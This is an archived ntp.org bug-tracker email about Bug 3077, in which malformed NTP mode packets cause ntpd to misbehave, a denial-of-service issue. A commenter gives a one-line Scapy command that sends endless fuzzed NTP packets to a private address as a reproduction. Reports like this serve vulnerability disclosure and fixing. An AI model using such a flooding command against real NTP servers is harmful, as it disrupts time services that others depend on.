[ntp:security] [Bug 3077] [ntpd] send the ntp mode inormally cause ntpd deny of service

bugzilla-daemon at ntp.org bugzilla-daemon at ntp.org
Mon Sep 19 10:22:11 UTC 2016


http://bugs.ntp.org/show_bug.cgi?id=3077

--- Comment #2 from Aleksandr Tserepov-Savolainen <aleksandr.tserepov-savolainen at ericsson.com> 2016-09-19 10:22:11 UTC ---
I was able to reproduce this with Scapy. Below is the command:

send(IP(dst="10.0.0.1")/fuzz(UDP()/NTP(version=4)),loop=1)

It takes a while, but at some point it starts to respond with 0.0.0.0 src IP.

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